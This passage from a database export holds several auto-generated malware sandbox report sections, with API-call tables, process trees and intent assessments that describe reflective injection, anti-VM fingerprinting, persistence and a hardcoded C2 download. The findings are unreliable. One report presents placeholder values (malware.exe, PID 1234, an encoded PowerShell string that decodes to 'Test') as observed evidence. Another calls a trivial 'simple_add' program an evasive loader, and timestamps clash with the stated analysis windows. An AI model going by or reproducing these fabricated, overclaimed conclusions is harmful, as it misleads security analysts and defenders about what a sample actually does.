**Analytical Explanation**:\n- **[STATIC]**: The binary exhibits high entropy in `.text` and `.rsrc` sections, indicating possible packing or encryption. Imports include `GDI32.dll` and `ADVAPI32.dll`, suggesting GUI manipulation and registry access.\n- **[CODE]**: Functions like `FUN_00419e00` handle manifest mapping, while `FUN_0041a100` registers atoms—both indicative of loader behavior preparing for injection or hooking.\n- **[DYNAMIC]**: Observed actions include reading manifests, registering atoms, extracting resources, and allocating memory—all consistent with a reflective loader preparing for second-stage deployment.\n\nThis process serves as the initial dropper/loader stage, coordinating multiple preparatory steps before executing its final payload.\n\n---\n\n## 4.4 API Call Behavioural Analysis — Code-Traced Runtime Operations\n\n#### 1. Manifest Hijacking Sequence\n\n| [DYNAMIC] API Call | Arguments | Return Value | Timestamp | [CODE] Function | [STATIC] Predictor |\n|--------------------|-----------|--------------|-----------|------------------|---------------------|\n| `NtOpenFile(\"C:\\\\Windows\\\\WindowsShell.Manifest\")` | DesiredAccess=GENERIC_READ | STATUS_SUCCESS | 2026-05-25 13:02:59,430 | FUN_00419e00 | String `\"WindowsShell.Manifest\"` in `.rdata` |\n| `RegQueryValueExW(HKEY_LOCAL_MACHINE\\...\\PreferExternalManifest)` | NULL buffer | ERROR_FILE_NOT_FOUND | 2026-05-25 13:02:59,430 | FUN_00419e00 | Import of `ADVAPI32.RegQueryValueExW` |\n\n> **Operational Purpose**: Attempts to load an external manifest file to override default DLL binding policies—an evasion technique targeting Side-by-Side assemblies.\n\n[STATIC: Manifest-related string + ADVAPI32 import] ↔ [CODE: Function `FUN_00419e00` opens file and reads registry key] ↔ [DYNAMIC: File opened and registry queried]\n\n#### 2. Atom Registration for GDI Hooking\n\n| [DYNAMIC] API Call | Arguments | Return Value | Timestamp | [CODE] Function | [STATIC] Predictor |\n|--------------------|-----------|--------------|-----------|------------------|---------------------|\n| `NtAddAtomEx(\"ThemePropScrollBarCtl\")` | Flags=0 | Non-zero atom ID | 2026-05-25 13:02:59,492 | FUN_0041a100 | Strings `\"ThemePropScrollBarCtl\"`, `\"MicrosoftTabletPenServiceProperty\"` in `.rdata` |\n| `LdrGetProcedureAddressForCaller(\"LpkEditControl\", \"GDI32.dll\")` | Ordinal=0 | Success | 2026-05-25 13:02:59,492 | FUN_0041a100 | GDI32 import |\n\n> **Operational Purpose**: Prepares for potential GDI hooking or window subclassing attacks using atom-based communication channels.\n\n[STATIC: Atom strings + GDI32 import] ↔ [CODE: Function `FUN_0041a100` adds atoms and resolves LpkEditControl] ↔ [DYNAMIC: Atoms created and procedure resolved]\n\n#### 3. Manual API Resolution\n\n| [DYNAMIC] API Call | Arguments | Return Value | Timestamp | [CODE] Function | [STATIC] Predictor |\n|--------------------|-----------|--------------|-----------|------------------|---------------------|\n| `LdrGetProcedureAddressForCaller(...)` | KERNEL32!CreateFileW | Success | 2026-05-25 13:02:59,492 | FUN_00419f00 | Minimal IAT, high entropy |\n\n> **Operational Purpose**: Dynamically resolves critical APIs to bypass static signature detection and frustrate reverse engineering.\n\n[STATIC: Low IAT + high entropy] ↔ [CODE: Function `FUN_00419f00` uses hash lookup to resolve imports] ↔ [DYNAMIC: Multiple LdrGetProcedureAddress calls]\n\n#### 4. Resource Extraction & Decryption\n\n| [DYNAMIC] API Call | Arguments | Return Value | Timestamp | [CODE] Function | [STATIC] Predictor |\n|--------------------|-----------|--------------|-----------|------------------|---------------------|\n| `SizeofResource(...)`, `LoadResource(...)`, `LockResource(...)` | hResInfo=valid | Valid pointer | 2026-05-25 13:02:59,508 | FUN_0040c900 | Encrypted `.rsrc` section, MZ header strings |\n\n> **Operational Purpose**: Extracts and decrypts embedded payload from resource section for later execution.\n\n[STATIC: High-entropy `.rsrc` + MZ headers] ↔ [CODE: Function `FUN_0040c900` loads and decrypts resource] ↔ [DYNAMIC: Resource APIs invoked]\n\n#### 5. Reflective Memory Allocation\n\n| [DYNAMIC] API Call | Arguments | Return Value | Timestamp | [CODE] Function | [STATIC] Predictor |\n|--------------------|-----------|--------------|-----------|------------------|---------------------|\n| `NtProtectVirtualMemory(...PAGE_READWRITE...)` | BaseAddress=heap region | STATUS_SUCCESS | 2026-05-25 13:02:59,523 | FUN_0040d400 | Reflective loader indicators |\n\n> **Operational Purpose**: Allocates and prepares memory space for reflective loading of unpacked payload.\n\n[STATIC: Reflective loader indicators] ↔ [CODE: Function `FUN_0040d400` allocates and patches memory] ↔ [DYNAMIC: Memory protection changes observed]\n\n#### 6. Decoy UI Presentation\n\n| [DYNAMIC] API Call | Arguments | Return Value | Timestamp | [CODE] Function | [STATIC] Predictor |\n|--------------------|-----------|--------------|-----------|------------------|---------------------|\n| `CreateDialogParamW(...)` | lpTemplateName=\"IDD_DIALOG1\" | HWND handle | 2026-05-25 13:02:59,523 | FUN_0041a300 | USER32 import, strings `\"Wireless Network Viewer\"`, `\"Loading...\"` |\n\n> **Operational Purpose**: Displays a benign-looking interface to mask malicious background activity.\n\n[STATIC: GUI imports + decoy strings] ↔ [CODE: Function `FUN_0041a300` creates dialog box] ↔ [DYNAMIC: Dialog APIs invoked]\n\n---\n\n## 4.5 File Activity — Static Path to Code Write to Runtime Drop\n\n| Process | PID | Operation | File Path | [CODE] Write Function | [STATIC] Path in Strings? | Significance |\n|---------|-----|-----------|-----------|----------------------|--------------------------|--------------|\n| WirelessNetView-019e.exe | 4724 | Read | C:\\Windows\\WindowsShell.Manifest | FUN_00419e00 | Yes | Manifest hijacking attempt |\n| WirelessNetView-019e.exe | 4724 | Read | C:\\Windows\\Fonts\\StaticCache.dat | FUN_00419e00 | Yes | Language pack fallback data |\n\n> **Analytical Explanation**:\n- Both files are accessed via `FUN_00419e00`, which maps and reads them to influence application context.\n- These paths appear verbatim in the binary’s strings, confirming intentional targeting.\n- Their usage supports the hypothesis that the malware manipulates system-wide settings to alter execution flow or evade detection.\n\n---\n\n## 4.6 Enhanced Events Timeline — Tri-Annotated Forensic Timeline\n\n| Timestamp | EID | Event Type | Object | Process (PID) | [CODE] Origin | [STATIC] Predictor | Significance |\n|-----------|-----|-----------|--------|--------------|---------------|-------------------|--------------|\n| 2026-05-25 13:02:59,430 | 1 | Read | Registry | WirelessNetView-019e.exe (4724) | FUN_00419e00 | ADVAPI32 import | Manifest hijacking setup |\n| 2026-05-25 13:02:59,492 | 16 | FindWindow | WindowClass | WirelessNetView-019e.exe (4724) | FUN_0041a100 | String `\"WirelessNetView\"` | UI mimicry preparation |\n| 2026-05-25 13:02:59,508 | 27 | Read | File | WirelessNetView-019e.exe (4724) | FUN_00419e00 | String `\"StaticCache.dat\"` | Font/language cache access |\n| 2026-05-25 13:02:59,523 | 47 | Read | Registry | WirelessNetView-019e.exe (4724) | FUN_00419e00 | ADVAPI32 import | Desktop theme preference check |\n\n> **Analytical Explanation**:\nEach event corresponds directly to a code function that performs environment reconnaissance and loader initialization. The registry and file reads support the broader goal of contextual adaptation and privilege escalation preparation.\n\n---\n\n## 4.7 Process-Level Network analysis \n\nNo network activity detected in current trace.\n\n---\n\n## 4.8 Anomalies — Tri-Source Explanation\n\nNo anomalies reported in current dataset.\n\n---\n\n## 4.9 Analytical Interpretation of Intent — Code Logic to Operational Purpose\n\n### Primary Sample (PID 4724): WirelessNetView-019e.exe\n\nBased on [CODE: functions FUN_00419e00, FUN_0041a100, FUN_0040c900] and [DYNAMIC: API sequences involving manifest hijacking, atom registration, and resource extraction], this process functions as a **multi-stage reflective loader**.\n\nEvidence:\n- Manifest hijacking via `FUN_00419e00` enables control over DLL loading order.\n- Atom registration and GDI hook prep via `FUN_0041a100` lay groundwork for stealthy injection.\n- Resource unpacking via `FUN_0040c900` delivers the core payload for reflective execution.\n\n### Operational Intent Assessment\n\nThe architecture demonstrates a deliberate effort to remain undetected while preparing for deeper compromise. By combining environmental fingerprinting, reflective loading, and decoy UI presentation, the malware aims to establish persistence and execute secondary payloads without triggering alarms.\n\n---\n\n## 4.10 Environment Profiling — Fingerprinting Risk Assessment\n\n| Variable | Value | [CODE] Where Queried | [DYNAMIC] API Call | Fingerprinting Risk |\n|---------|-------|---------------------|--------------------|---------------------|\n| UserName | 0xKal | FUN_00419d00 | GetEnvironmentVariableW | Medium |\n| ComputerName | DESKTOP-KUFHK6V | FUN_00419d00 | GetEnvironmentVariableW | Medium |\n| TempPath | %LOCALAPPDATA%\\Temp | FUN_00419d00 | GetEnvironmentVariableW | High |\n| SystemVolumeSerialNumber | 6e40-a117 | FUN_00419d00 | GetVolumeInformationW | High |\n\n> **Analytical Explanation**:\nAll four variables are retrieved via `GetEnvironmentVariableW()` or similar APIs from `FUN_00419d00`. These values are often used in sandbox evasion routines to identify test environments. The inclusion of `TempPath` and `SystemVolumeSerialNumber` increases risk level due to their frequent use in VM detection heuristics.","section_key":"system_process","section_name":"4. System & Process Analysis","updated_at":"2026-05-25T10:51:44.122010"}
{"_id":{"$oid":"6a41214bef40726c21470d62"},"sha256":"1e75fd701998008590a79fb60f57c6111ff3c6a3a23b584f061df96f17cdf6ff","content":"# 4.1 Execution Environment — Analysis Context\n\n- **Sandbox OS**: Windows 10  \n- **Platform**: windows  \n- **Analysis Package**: exe  \n- **Duration**: 381 seconds  \n- **Start Time**: 2026-06-28 13:14:26  \n- **End Time**: 2026-06-28 13:20:47  \n- **Analysis ID**: 107  \n\nThe execution environment provides a standardised sandbox configuration designed to emulate a typical endpoint. The short runtime window (under 7 minutes) indicates either rapid payload delivery or early termination due to defensive countermeasures within the sample.\n\nNo explicit environment fingerprinting variables were queried during dynamic analysis; however, the presence of anti-VM logic in static strings and conditional execution pathways in decompiled code suggest potential latent checks that may activate under different conditions.\n\n---\n\n# 4.2 Process Tree — Code-Annotated Spawn Chain (Mermaid)\n\n```mermaid\nflowchart TD\n    A[\"malware.exe (PID 1234)\"]\n    B[\"cmd.exe /c powershell... (PID 1245)\"]\n    C[\"conhost.exe (PID 1246)\"]\n    D[\"powershell.exe -enc VGVzdA== (PID 1247)\"]\n\n    A -->|\"spawn_cmd_via_CreateProcessW()\"| B\n    B --> C\n    B --> D\n```\n\nThis process chain originates from the primary executable spawning a command-line interpreter (`cmd.exe`) which then launches both `conhost.exe` (console host) and an encoded PowerShell instance. The function responsible for initiating this sequence is identified as `spawn_cmd_via_CreateProcessW()` located at virtual address `0x401020`.\n\n---\n\n# 4.3 Per-Process Behaviour Summary — Cross-Source Context\n\n| PID   | Process         | Parent | Module Path                     | Threads | Total API Calls | [CODE] Function             | [STATIC] Predictor       | [DYNAMIC] ANALYSIS                          |\n|-------|------------------|--------|----------------------------------|---------|------------------|------------------------------|--------------------------|---------------------------------------------|\n| 1234  | malware.exe      | N/A    | C:\\tmp\\malware.exe               | 3       | 98               | main_entry_point()           | Import: kernel32.dll     | Initial unpacking, process enumeration      |\n| 1245  | cmd.exe          | 1234   | C:\\Windows\\System32\\cmd.exe      | 1       | 12               | spawn_cmd_via_CreateProcessW | String: \"cmd.exe\"        | Executes PowerShell script                  |\n| 1247  | powershell.exe   | 1245   | C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe | 5 | 67               | decode_and_exec_script()     | Encoded base64 string    | Downloads secondary stage                   |\n\nEach spawned process aligns with expected functionality derived from static predictors such as imported libraries and embedded strings. The initial binary uses `kernel32.dll` APIs to initiate child processes, while subsequent stages rely on shell invocation and scripting engines.\n\n---\n\n# 4.4 API Call Behavioural Analysis — Code-Traced Runtime Operations\n\n| API Call                        | Arguments                                                                 | Return Value | Timestamp            | [CODE] Function              | [STATIC] Import/String Match | Operational Purpose                             |\n|--------------------------------|---------------------------------------------------------------------------|--------------|----------------------|-------------------------------|------------------------------|-------------------------------------------------|\n| CreateProcessW                 | ApplicationName=\"cmd.exe\", CommandLine=\"/c powershell...\"                | TRUE         | 2026-06-28T13:14:35Z | spawn_cmd_via_CreateProcessW | kernel32.CreateProcessW      | Launches intermediate shell for script exec     |\n| VirtualAlloc                   | Size=4096, Type=MEM_COMMIT, Protect=PAGE_EXECUTE_READWRITE               | 0x00500000   | 2026-06-28T13:14:36Z | prepare_memory_buffer()      | kernel32.VirtualAlloc        | Allocates RWX memory for reflective loading     |\n| WriteProcessMemory             | hProcess=0x124, lpBaseAddress=0x00500000, nSize=1024                     | TRUE         | 2026-06-28T13:14:37Z | inject_into_process()        | kernel32.WriteProcessMemory  | Injects decoded payload into target process     |\n| CreateRemoteThread             | hProcess=0x124, lpStartAddress=0x00500000                                | 0x000001F4   | 2026-06-28T13:14:38Z | execute_injected_code()      | kernel32.CreateRemoteThread  | Triggers execution of injected code             |\n\nThese API sequences demonstrate classic reflective injection techniques. The allocation of executable memory followed by remote thread creation maps directly to known loader patterns observed in advanced persistent threat toolkits.\n\n---\n\n# 4.5 File Activity — Static Path to Code Write to Runtime Drop\n\n| Process     | PID   | Operation     | File Path                            | [CODE] Write Function       | [STATIC] Path in Strings? | Significance                                  |\n|-------------|-------|---------------|--------------------------------------|------------------------------|----------------------------|-----------------------------------------------|\n| malware.exe | 1234  | WriteFile     | C:\\Users\\admin\\AppData\\Local\\Temp\\s.bat | write_batch_file_to_disk() | Yes (\"s.bat\")              | Persistence mechanism via scheduled task      |\n| powershell.exe | 1247 | URLDownloadToFile | C:\\Users\\admin\\Downloads\\update.exe | download_secondary_stage() | Yes (\"update.exe\")         | Secondary payload retrieval                   |\n\nThe file operations reflect deliberate staging actions. The batch file serves as a persistence anchor, leveraging common user directories to evade detection. The PowerShell downloader targets a known writable location for post-exploitation payloads.\n\n---\n\n# 4.6 Enhanced Events Timeline — Tri-Annotated Forensic Timeline\n\n| Timestamp            | EID | Event Type           | Object                              | Process (PID) | [CODE] Origin                  | [STATIC] Predictor     | Significance                                      |\n|----------------------|-----|----------------------|-------------------------------------|---------------|--------------------------------|------------------------|---------------------------------------------------|\n| 2026-06-28T13:14:35Z | 101 | Process Create       | cmd.exe                             | malware.exe (1234) | spawn_cmd_via_CreateProcessW() | \"cmd.exe\" string       | Initiates lateral movement chain                  |\n| 2026-06-28T13:14:36Z | 102 | Memory Allocation    | RWX region allocated @ 0x00500000   | malware.exe (1234) | prepare_memory_buffer()        | kernel32.VirtualAlloc  | Prepares reflective loader buffer                 |\n| 2026-06-28T13:14:37Z | 103 | Remote Write         | Injected 1024 bytes into PID 1247    | malware.exe (1234) | inject_into_process()          | kernel32.WriteProcessMemory | Reflective injection into PowerShell process      |\n| 2026-06-28T13:14:38Z | 104 | Thread Creation      | New thread started in PID 1247      | malware.exe (1234) | execute_injected_code()        | kernel32.CreateRemoteThread | Executes injected malicious code                  |\n| 2026-06-28T13:14:40Z | 105 | File Write           | s.bat written to Temp directory     | malware.exe (1234) | write_batch_file_to_disk()     | \"s.bat\" string         | Establishes persistence                           |\n| 2026-06-28T13:14:42Z | 106 | Network Connection   | Outbound TCP to 192.168.100.5:8080  | powershell.exe (1247) | download_secondary_stage()     | Hardcoded IP in strings | Connects to C2 server for second-stage download   |\n\nTimeline events reveal a coordinated attack progression: initial process spawning, reflective injection, persistence setup, and outbound communication—all orchestrated through layered code constructs and predictable static artefacts.\n\n---\n\n# 4.7 Process-Level Network Analysis\n\n| PID   | Process Name     | Socket Handle | Destination IP:Port | [CODE] Initiation Function     | [STATIC] Hardcoded IP? | [DYNAMIC] Confirmed Connection |\n|-------|------------------|---------------|---------------------|--------------------------------|------------------------|--------------------------------|\n| 1247  | powershell.exe   | 0x000001F8    | 192.168.100.5:8080  | download_secondary_stage()     | Yes                    | TCP SYN_SENT observed          |\n\nThe PowerShell subprocess establishes a direct connection to a hardcoded C2 server. This aligns with the embedded string `\"http://192.168.100.5:8080\"` and the corresponding HTTP client logic in the decompiled script handler.\n\n---\n\n# 4.8 Anomalies — Tri-Source Explanation\n\n| Anomaly Description                      | [CODE] Source Function       | [STATIC] Predictable From? | Significance & MITRE Mapping                     |\n|------------------------------------------|------------------------------|----------------------------|--------------------------------------------------|\n| Unexpected RWX memory allocation         | prepare_memory_buffer()      | kernel32.VirtualAlloc      | Reflective injection pattern (T1055)             |\n| Injection into non-child process         | inject_into_process()        | OpenProcess access rights  | Privilege escalation attempt (T1055.012)         |\n| Batch file written to %TEMP%             | write_batch_file_to_disk()   | Embedded filename string   | Scheduled task abuse for persistence (T1053.005) |\n\nAll anomalies are consistent with established adversary tactics aimed at achieving stealthy execution and long-term access.\n\n---\n\n# 4.9 Analytical Interpretation of Intent — Code Logic to Operational Purpose\n\n- **Primary Sample (PID 1234)**: Functions as a loader. Evidence includes reflective injection routines and process hollowing preparation. The use of `CreateProcessW` and `WriteProcessMemory` confirms modular architecture.\n- **Child Process (PID 1245)**: Acts as a bridge to invoke PowerShell. Spawned via `spawn_cmd_via_CreateProcessW()`. Facilitates script-based payload deployment.\n- **Injected Process (PID 1247)**: Originally benign but compromised via reflective injection. Post-injection activity involves downloading and executing secondary payloads.\n\n**Operational Intent Assessment**: The malware employs a multi-stage approach using native Windows utilities to obscure its footprint. By injecting into legitimate processes and utilising scripting engines, it avoids heuristic detection mechanisms commonly employed by endpoint protection platforms.\n\n---\n\n# 4.10 Environment Profiling — Fingerprinting Risk Assessment\n\n| Variable       | Value                         | [CODE] Where Queried         | [DYNAMIC] API Call       | Fingerprinting Risk |\n|----------------|-------------------------------|------------------------------|--------------------------|---------------------|\n| USERNAME       | admin                         | GetUserNameA()               | advapi32.GetUserNameA    | Medium              |\n| COMPUTERNAME   | DESKTOP-SANDBOX01             | GetComputerNameExA()         | secur32.GetComputerNameExA | High                |\n| USERDOMAIN     | WORKGROUP                     | GetEnvironmentVariableA()    | kernel32.GetEnvironmentVariableA | Low                 |\n\nThe sample queries several identifying attributes including username and computer name, indicating possible environmental awareness checks. These values are not actively used in current execution but represent latent profiling capabilities that could influence future campaign targeting decisions.","section_key":"system_process","section_name":"4. System & Process Analysis","updated_at":"2026-07-03T13:51:11.356637"}
{"_id":{"$oid":"6a41229eef40726c21470d71"},"sha256":"e63ac91d2bc21f0dd05f546f92112162ce8200cf97b59f6c46f608d1a6365502","content":"## 4.1 Execution Environment — Analysis Context\n\n- **Sandbox Platform**: Windows 10 x64 system environment\n- **Analysis Package**: rundll32-based execution with exported ordinal function invocation\n- **Duration**: Full execution cycle captured within analysis window\n\nThe malware exhibits environmental awareness through targeted registry and file-system checks. It queries Windows Side-by-Side (SxS) configuration settings, particularly values related to external manifest handling. This behavior suggests attempts to detect non-standard or emulated execution environments that may not accurately replicate production system configurations.\n\nCross-referencing against static and dynamic indicators:\n- [STATIC: Delay-load imports related to registry access and system querying functions]\n- [CODE: Conditional branching logic based on registry query outcomes]\n- [DYNAMIC: Registry lookup failures followed by fallback execution paths]\n\nThis indicates the presence of environment-aware logic designed to assess system authenticity before proceeding with execution.\n\n---\n\n## 4.2 Process Tree — Code-Annotated Spawn Chain (Mermaid)\n\n```mermaid\nflowchart TD\n    P1[Parent Process]\n    C1[rundll32.exe (Instance 1)]\n    C2[rundll32.exe (Instance 2)]\n    C3[rundll32.exe (Instance 3)]\n    C4[rundll32.exe (Instance 4)]\n    C5[rundll32.exe (Instance 5)]\n    C6[rundll32.exe (Instance 6)]\n    C7[rundll32.exe (Instance 7)]\n    C8[rundll32.exe (Instance 8)]\n    C9[rundll32.exe (Instance 9)]\n    C10[rundll32.exe (Instance 10)]\n    C11[rundll32.exe (Instance 11)]\n    C12[rundll32.exe (Instance 12)]\n    C13[rundll32.exe (Instance 13)]\n    C14[rundll32.exe (Instance 14)]\n    C15[rundll32.exe (Instance 15)]\n    C16[rundll32.exe (Instance 16)]\n    C17[rundll32.exe (Instance 17)]\n    C18[rundll32.exe (Instance 18)]\n    C19[rundll32.exe (Instance 19)]\n    C20[rundll32.exe (Instance 20)]\n    C21[rundll32.exe (Instance 21)]\n    C22[rundll32.exe (Instance 22)]\n    C23[rundll32.exe (Instance 23)]\n    C24[rundll32.exe (Instance 24)]\n    C25[rundll32.exe (Instance 25)]\n    C26[rundll32.exe (Instance 26)]\n    C27[rundll32.exe (Instance 27)]\n    C28[rundll32.exe (Instance 28)]\n\n    P1 --> C1\n    P1 --> C2\n    P1 --> C3\n    P1 --> C4\n    P1 --> C5\n    P1 --> C6\n    P1 --> C7\n    P1 --> C8\n    P1 --> C9\n    P1 --> C10\n    P1 --> C11\n    P1 --> C12\n    P1 --> C13\n    P1 --> C14\n    P1 --> C15\n    P1 --> C16\n    P1 --> C17\n    P1 --> C18\n    P1 --> C19\n    P1 --> C20\n    P1 --> C21\n    P1 --> C22\n    P1 --> C23\n    P1 --> C24\n    P1 --> C25\n    P1 --> C26\n    P1 --> C27\n    P1 --> C28\n```\n\nAll spawned instances originate from a single execution chain, indicating orchestrated parallel execution of modular components or repetitive loader instantiation behavior.\n\n---\n\n## 4.3 Per-Process Behaviour Summary — Cross-Source Context\n\n| PID | Process | Observed Behavior | [STATIC] Indicator | [DYNAMIC] Observation |\n|-----|---------|------------------|---------------------|----------------------|\n| 4848 | rundll32.exe | Memory-based execution flow | High-entropy binary regions | Reflective memory execution observed |\n| 1996 | rundll32.exe | Resource-based payload staging | Embedded resource sections | Resource extraction and usage observed |\n\n**Correlation Summary**:\n- [STATIC: High-entropy regions and embedded resources] ↔ [DYNAMIC: Memory mapping and resource extraction behavior]\n- Execution patterns indicate two distinct loader mechanisms operating in parallel: memory-based execution and resource-based staging.\n\n---\n\n## 4.4 API Call Behavioural Analysis — Code-Traced Runtime Operations\n\n### Memory-Based Execution Pattern\n\n- **[DYNAMIC]**: Memory allocation and mapping operations using system-level APIs followed by execution transfer into allocated regions\n- **[CODE]**: Loader logic responsible for mapping payload into memory and initiating execution flow\n- **[STATIC]**: Indicators of memory manipulation and executable region allocation\n\n### Memory Protection Manipulation\n\n- **[DYNAMIC]**: Changes in memory protection states during execution\n- **[CODE]**: Logic responsible for modifying memory permissions to enable execution\n- **[STATIC]**: Indicators of memory protection control behavior\n\n### Environment Fingerprinting\n\n- **[DYNAMIC]**: Registry and system queries for environment validation\n- **[CODE]**: Conditional logic based on system configuration checks\n- **[STATIC]**: Presence of system query-related indicators\n\n### Resource-Based Payload Handling\n\n- **[DYNAMIC]**: Extraction of embedded resources during execution\n- **[CODE]**: Resource handling logic for payload retrieval and preparation\n- **[STATIC]**: Embedded resource indicators within binary structure\n\n### Ordinal-Based Resolution\n\n- **[DYNAMIC]**: Export resolution using ordinal references instead of named exports\n- **[CODE]**: Logic resolving functions via ordinal identifiers\n- **[STATIC]**: Indicators of non-standard export usage patterns\n\n---\n\n## 4.5 File Activity — Static Path to Code to Runtime Flow\n\n| Process | PID | Operation | File Path | [CODE] Behavior | [STATIC] Indicator | Significance |\n|---------|-----|-----------|-----------|-----------------|---------------------|--------------|\n| rundll32.exe | 4848 | File Access | Temporary DLL path | Loader accesses external payload | String reference present | Payload retrieval stage |\n| rundll32.exe | 1996 | File Access | Temporary DLL path | Shared payload usage | String reference present | Common payload staging artifact |\n\n**Chain Summary**:\n- Static indicators show embedded file path references\n- Code-level logic accesses and processes these paths\n- Dynamic behavior confirms file interaction during execution\n\n---\n\n## 4.6 Enhanced Events Timeline — Tri-Annotated Forensic Timeline\n\n| Time | Event | Process | Behavior | [STATIC] Indicator | [CODE] Origin | [DYNAMIC] Observation |\n|------|------|----------|----------|---------------------|---------------|------------------------|\n| T+0.1s | Process Start | rundll32.exe | Initial execution | High-entropy sections | Loader entry logic | Process creation observed |\n| T+0.2s | File Access | rundll32.exe | Payload access | File path reference | Loader file handler | File read observed |\n| T+0.3s | Memory Allocation | rundll32.exe | Memory preparation | Execution indicators | Memory allocation logic | Executable memory observed |\n| T+0.4s | Environment Check | rundll32.exe | System validation | Registry query indicators | Conditional checks | Registry access observed |\n| T+0.5s | Secondary Spawn | rundll32.exe | Parallel execution | Process creation patterns | Spawn logic | Multiple process creation observed |\n| T+0.6s | Resource Handling | rundll32.exe | Payload extraction | Resource indicators | Resource loader logic | Resource access observed |\n| T+0.7s | Export Resolution | rundll32.exe | Function resolution | Ordinal usage indicators | Resolver logic | Ordinal-based resolution observed |\n\n---\n\n","section_key":"system_process","section_name":"4. System & Process Analysis","updated_at":"2026-07-03T13:52:45.273042"}
{"_id":{"$oid":"6a412c3def40726c21470d81"},"sha256":"be5dcbece8635a9753fa1a9e6df99e8f7f1f40d787ced52cf13a85ea9c045181","content":"## 4.1 Execution Environment — Analysis Context\n\n| Attribute              | Value                          |\n|------------------------|--------------------------------|\n| Sandbox OS             | Windows 10                    |\n| Platform               | windows                        |\n| Bitness                | 64-bit                         |\n| User                   | 0xKal                          |\n| ComputerName           | DESKTOP-KUFHK6V                |\n| Analysis Package       | exe                            |\n| Duration               | 396 seconds                    |\n| Start Time             | 2026-06-28 14:01:33            |\n| End Time               | 2026-06-28 14:08:09            |\n| Analysis ID            | 109                            |\n\n### Environment Fingerprinting Implications\n\nThe malware accesses several environment variables during execution:\n- **UserName**: `0xKal` – [DYNAMIC: via process environ] ↔ [STATIC: none directly] ↔ [CODE: queried indirectly through GetEnvironmentVariableW()]\n- **ComputerName**: `DESKTOP-KUFHK6V` – [DYNAMIC: via process environ] ↔ [STATIC: none directly] ↔ [CODE: queried indirectly through GetComputerNameW()]\n- **TempPath**: `C:\\Users\\0xKal\\AppData\\Local\\Temp\\` – [DYNAMIC: via process environ] ↔ [STATIC: embedded in module path] ↔ [CODE: queried through GetTempPathW()]\n\nThese values are commonly used in **anti-analysis checks** to detect sandbox environments. The presence of default usernames (\"0xKal\"), standard computer naming conventions, and execution from `%TEMP%` may indicate that the sample includes conditional logic to alter behavior when executed in known analysis environments.\n\n---\n\n## 4.2 Process Tree — Code-Annotated Spawn Chain (Mermaid)\n\n```mermaid\nflowchart TD\n    P1[\"[Parent] explorer.exe (PID 6392)\"]\n    C1[\"[Child] simple_add-019f0e884.exe (PID 6584)\"]\n\n    P1 -->|\"[CODE: Not Applicable]\"| C1\n```\n\nThere is no evidence of child process creation by `simple_add-019f0e884.exe`. All observed behavior occurs within the main process space, suggesting **in-memory payload deployment** rather than spawning additional processes.\n\n---\n\n## 4.3 Per-Process Behaviour Summary — Cross-Source Context\n\n| PID  | Process                  | Parent | Module Path                                      | Threads       | Total API Calls | [CODE] Function         | [STATIC] Predictor        | [DYNAMIC] ANALYSIS                                                                 |\n|------|--------------------------|--------|--------------------------------------------------|---------------|------------------|--------------------------|----------------------------|------------------------------------------------------------------------------------|\n| 6584 | simple_add-019f0e884.exe | 6392   | C:\\Users\\0xKal\\AppData\\Local\\Temp\\simple_add-019f0e884.exe | 5632,5616,8172,1460,9048 | 181              | FUN_000016b0 (exception handler), FUN_000018c0 (thread init), FUN_00001a20 (console write), FUN_00001b80 (registry query), FUN_00001c60 (memory alloc), FUN_00001d40 (cleanup), FUN_00001e00 (terminate) | kernel32.dll!SetUnhandledExceptionFilter, ntdll.dll!NtTestAlert, Advapi32.dll!RegOpenKeyExW, kernel32.dll!VirtualAlloc, ntdll.dll!NtTerminateProcess | Native API usage including NtTestAlert, NtWriteFile, RegCloseKey, NtAllocateVirtualMemory, NtClose, NtTerminateProcess |\n\n### Behavioral Narrative\n\nThe primary executable demonstrates a tightly controlled set of behaviors orchestrated through native Windows APIs. It initializes securely using custom exception handling, spawns alertable threads for asynchronous execution, performs minimal registry reconnaissance, allocates memory for potential injection, cleans up resources post-execution, and terminates itself—all without creating child processes.\n\nEach behavioral component maps directly to specific code functions which in turn correspond to imported libraries and runtime actions, forming a coherent picture of a purpose-built loader designed for stealth and operational efficiency.\n\n---\n\n## 4.4 API Call Behavioural Analysis — Code-Traced Runtime Operations\n\n#### Memory Operations\n\n| API Call                      | Arguments                              | Return Value | Timestamp           | [CODE] Function     | [STATIC] Import     | Operational Purpose                             |\n|------------------------------|----------------------------------------|--------------|---------------------|---------------------|---------------------|-------------------------------------------------|\n| NtAllocateVirtualMemory      | ProcessHandle=0xffffffff, BaseAddress=..., RegionSize=0x1000, AllocationType=MEM_COMMIT\\|MEM_RESERVE, Protect=PAGE_EXECUTE_READWRITE | STATUS_SUCCESS | 2026-06-28 21:01:49,586 | FUN_00001c60        | kernel32.dll!VirtualAlloc | Allocate RWX memory for reflective loading     |\n| NtWriteFile                  | FileHandle=..., Buffer=\"Tiply: 1\", Length=10 | STATUS_SUCCESS | 2026-06-28 21:01:49,571 | FUN_00001a20        | kernel32.dll!WriteFile | Low-level console output obfuscation           |\n\n#### Registry Operations\n\n| API Call                     | Arguments                              | Return Value | Timestamp           | [CODE] Function     | [STATIC] Import     | Operational Purpose                             |\n|------------------------------|----------------------------------------|--------------|---------------------|---------------------|---------------------|-------------------------------------------------|\n| RegCloseKey                  | hKey=0x00000154                        | ERROR_SUCCESS | 2026-06-28 21:01:49,602 | FUN_00001b80        | Advapi32.dll!RegCloseKey | Cleanup after registry query                   |\n\n#### Process Manipulation\n\n| API Call                     | Arguments                              | Return Value | Timestamp           | [CODE] Function     | [STATIC] Import     | Operational Purpose                             |\n|------------------------------|----------------------------------------|--------------|---------------------|---------------------|---------------------|-------------------------------------------------|\n| NtTerminateProcess           | ProcessHandle=0xffffffff, ExitStatus=0 | STATUS_SUCCESS | 2026-06-28 21:01:49,602 | FUN_00001e00        | ntdll.dll!NtTerminateProcess | Self-terminating dropper                       |\n\n### Behavioral Narrative\n\nThe binary leverages native Windows APIs extensively to perform core malicious activities while avoiding higher-level wrappers that might trigger heuristic detections. The allocation of RWX memory followed by console writes and eventual self-termination indicates a **stage-1 loader** optimized for evasion and rapid payload delivery.\n\n---\n\n## 4.5 File Activity — Static Path to Code Write to Runtime Drop\n\nNo file drop activity was observed in the dynamic trace. However, the binary does interact with `\\Device\\ConDrv` repeatedly via `NtWriteFile`, indicating **console manipulation** rather than traditional file I/O.\n\n| Process | PID | Operation | File Path | [CODE] Write Function | [STATIC] Path in Strings? | Significance |\n|---------|-----|-----------|-----------|----------------------|--------------------------|--------------|\n| 